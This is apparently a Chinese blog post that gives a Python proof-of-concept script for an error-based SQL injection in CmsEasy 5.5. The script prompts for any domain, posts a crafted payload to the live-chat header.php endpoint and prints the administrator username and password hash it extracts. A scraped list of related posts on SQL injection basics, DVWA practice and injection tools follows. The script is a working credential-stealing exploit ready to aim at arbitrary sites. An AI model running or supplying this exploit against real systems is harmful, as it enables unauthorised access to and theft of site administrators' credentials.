一个简单sql注入的poc

最近在提高自己编程能力,拿一些实用的小工具练下。该脚本为python语言,主要涉及模块urllib,re。

功能:验证CmsEasy5.5爆账号密码

实验用源码:http://pan.baidu.com/s/1i4lAwBF

搭建环境:phpstudy     试了IIs+php没爆出来最好用phpstudy。

通过浏览器访问确认存在漏洞存在。

用python来实现。

import urllib.request
import urllib.parse
import re
domain = input(‘请输入域名或ip(example:www.xx.com/xxx.xxx.xx):‘)
url = ‘http://%s/cmseasy/celive/live/header.php‘ %(domain)
data = {
        ‘xajax‘:"LiveMessage",
        ‘xajaxargs[0][name]‘:"1‘,(SELECT 1 FROM "
        "(select count(*),concat(floor(rand(0)*2),"
        "(select concat(username,0x23,password,md5(123)) "
        "from cmseasy_user where groupid=2 limit 1))a "
        "from information_schema.tables group by a)b),"
        "‘‘,‘‘,‘‘,‘1‘,‘127.0.0.1‘,‘2‘)#"
        }

data = urllib.parse.urlencode(data).encode(‘utf-8‘)    #将要post的数据进行编码
try:
        req = urllib.request.Request(url,data)    #get请求不需要写data参数,post需要把data参数写上
        response = urllib.request.urlopen(req)
        html = response.read().decode(‘utf-8‘)    
        if re.findall(r‘a801fc3202cb962ac59075b964b07152‘,html):
                print("%s is vulnerable"%(url))
        html2 = re.findall(r‘(?<=entry \‘1).*(?=a801fc3202cb962ac59075b964b07152)‘,html)  #通过正则将账号密码匹配出来
        print(html2)
except Exception as err:
        print(‘Not Found‘)

时间: 2024-08-24 20:32:13

一个简单sql注入的poc的相关文章

简单SQL注入试探

DVWA--简单SQL注入小记 前不久刚开始接触SQL注入,今天来记录一些最近的一些收获和一些SQL注入方面的知识. 主要是基于DVWA这个开源的平台来进行练习. 废话不多说开始解题. 从简单的SQL injection入手 Level:low 登陆后选择SQL injection 一开始看到一个普通的界面,输入ID进行查询.我们可以先进行简单的测试. 输入 1 and 1=1 和 1 or 1=1 发现搜索的结果是一样的. 于是我们猜测判断类型可能是字符串(后通过源码可查看到,事实也正如此)

5.简单sql注入之2

提示:有回显的sql注入 这题其实使用上一篇博文的/**/技术即可获得flag 上一篇博文简单sql注入补充: 其实那题还过滤了关键词加空格(只过滤一遍,所以写两遍即可),出题者考的是如下sql语句(空格和关键词都要写两遍) 1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1 本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!

简单sql注入学习

sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据 库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入式攻击. sql注入漏洞的

简单SQL注入

既然是简单的,估计也就是''字符型把,输入'or'1 以下是输出结果,or没被过滤,单引号也没有 呢么用union联合注入试试,提交了'-1 union/**/select 1 and '1,发现回显是 嗯哼,什么情况,当把空格都用/**/代替后,回显正常,应该是关键字空格一起吃掉的过滤.所以,我们一个一个来尝试把. http://ctf5.shiyanbar.com/423/web/?id=-1'union/**/select/**/group_concat(_name)from/**/inf

简单sql注入(手注)

一.Sql简单手注的一般思路: 1. 先看是不是注入点(字符型.整型) 2. 判断字段数 3. 判断是否可以用union联合查询(是否有显示位) 4. 获取所有数据库名 5. 获取数据库中表名 6. 获取表中的字段名 7. 获取字段中的信息数据 1. 先看是不是注入点 *加单引号 (‘)如果报错则可能存在 输入?2-1页面变化(数值型) *数字型:and 1=1正常:and 1=2报错 or 2>1 正常:or 1>2 报错 xor 1=1 报错:xor 1=2 正常 and 1=1 url编

kotlin 写的一个简单 sql 查询解析器

1 package com.dx.efuwu.core 2 3 import org.apache.commons.lang.StringUtils 4 import java.sql.PreparedStatement 5 6 /** 7 * sql 模板处理 8 * @author sunzq 9 * 2017/06/02 10 */ 11 12 /** 13 * 查询的一个条件句 14 */ 15 class QueryBranch(val content: String, val key

使用SQLMAP对网站和数据库进行SQL注入攻击

from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介绍 1. 什么是SQL注入? SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等.SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL

SQL 注入工具集合

众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BSQL Hacker可自

十大关系数据库SQL注入工具一览

摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进... 众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款S